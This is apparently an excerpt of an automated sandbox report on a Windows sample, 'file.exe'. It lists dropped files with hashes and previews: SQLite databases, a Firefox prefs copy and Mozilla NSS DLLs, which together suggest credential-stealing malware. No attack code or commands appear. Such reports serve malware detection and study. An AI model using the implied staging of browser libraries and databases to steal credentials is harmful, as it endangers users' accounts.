File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCGIIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDBGDHDAECBGDHJKFIDGCBFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBFBGDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2653331973778987
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMNSAELyKOMq+8yC8F/YfU5m+OlTLVumW:Bq+n0JN9ELyKOMq+8y9/OwF
MD5:	441F16673477C01D6B2152CFB5C63B30
SHA1:	9DF988D6567EC1D5419756D1349B3507AB274DAC
SHA-256:	F12BD23709AA133497F9BBD0F3EB51725BF28C1CDB810FBE6B2392E9F14075E7
SHA-512:	E4475D9552709FC73E21BA5C7D9947CD52ABB8433D169375EF78E1002FC896CBE97E407C1EB4C744247F0919DAF619B13E60B41FFF94BD2336C99213B956A175
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHDGHJEBGIDGDGIJJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJJDGHCBGDHIECBGIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KKECBFCGIEGCBGCAECGCBAKECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1fb6db43-cbea-413f-aea2-01444ece3afd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45817
Entropy (8bit):	6.087752245245239
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgd9bnruHhDO6vP6OSfNu4uptlfAE4IsImE0hKqX7KCAooGoup4:mMk1rT8H99bV6yVdQsIahfX7KRoohu3q
MD5:	03D59449FFD11E8F3E2A886C0CF84A6E
SHA1:	19E3DC74981EBA32DEB240A77FECCFE4924F74BA
SHA-256:	24D0BEECFC4D99E15BCF287070A841CE13C2C7B0D0A74ED3C0039078971CD8A6
SHA-512:	69C2B5B3F7E651057C9E6A14EC725DC20A5B3ED39D66CCC9E22F746D74EBA49A53A6BFF12FE9374F0316B189C13D4516DC2C579216D37D569DB9BDFD1BAEBA8E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\43c3b10c-cb43-4afa-b844-51e869456b49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090762854850304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEW6btbz8hu3VlXr4CRo1
MD5:	312C0C6553BE9AF407FE6C0C0872246A
SHA1:	125ADC511EF368BE56363D2FA514BA6FF4BCD384
SHA-256:	0390B845DDC2C010F88DD047611EBD148E7F0E7D0FEE0E5B8234614A04BBB3A5
SHA-512:	852215548717845323EA669A0E05B636969237C5C03540F980A52F8402A3B096E840EBC895818CA14389C6A3F8CC0B0A15A29BACE83C54E9D573B9041C2EC80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6c75158d-7bd0-4599-95e7-3d5f7539fdf2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44616
Entropy (8bit):	6.096667255801046
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBBwu+hDO6vP6OSfNu4m17AWEAcj1VLcGoup1Xl3j0:z/Ps+wsI7ynEp6yVdpLchu3VlXr4CRo1
MD5:	D1EA74B4A7BB2174933109F387A4B669
SHA1:	7421FF9755C954D999D3743278333FF557B468AF
SHA-256:	86AA87F42EB8394CCB536431B9D36B7972A6F13EE36FEE8058AB5EACEEADCC9F
SHA-512:	2961088065BE0FCFDFFC8F966199E6D0022EFF8246659DB6D4009ACD2963AF39F9741976FB39B62FD0EB7D58D734C3D985F91CE99F85E260A5A49069C25E3C5F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7c5ece53-89dc-4e48-9719-2ba7ec1fe664.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44698
Entropy (8bit):	6.095950146445273
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBJwu+hDO6vP6OSfNu4OptlfAE4IcGoup1Xl3jVzXq:z/Ps+wsI7yOER6yVdwchu3VlXr4CRo1
MD5:	7E8ECF7480A3AAAD5C5A18029FEED95E
SHA1:	02996BEF7CCF080E0A0C9AE14555A097BAC1438E
SHA-256:	0F0DEE3894A9FB2BEC5942F06848E449A438255FCD980E7BC2DA7DE78A55A2E2
SHA-512:	0D48ACA0EFD29519DFBD9683285358A03DC008FCD032927C69B90DC6E90B0D699B8256288A57F2B3904C0769B8412CA9A297E58F31BCB84ADA8748BF65F1F4D3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\867affdc-ca32-4060-975d-937538587e9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45817
Entropy (8bit):	6.087754597990198
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgdobnruHhDO6vP6OSfNu4uptlfAE4IsImE0hKqX7KCAooGoup4:mMk1rT8H9obV6yVdQsIahfX7KRoohu3q
MD5:	0BD3DBFCAAF75DC0F5CD755C64FC6709
SHA1:	9A14D5370C9ED4ED69E82601B5114D3EFE7DEF3D
SHA-256:	E3838EB4442793F3702B0FBC405AEE9851AF9F41C15C1D31B41C3922AB25D2D4
SHA-512:	B430679BE4BDAB1335634B4DE8F0C702B158FB5ACEA846B5D7D084F7B9829761F0A0113D79A3E22031B4D54E8D7708CA1C40573329CF48F5CB6DA051477145A2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

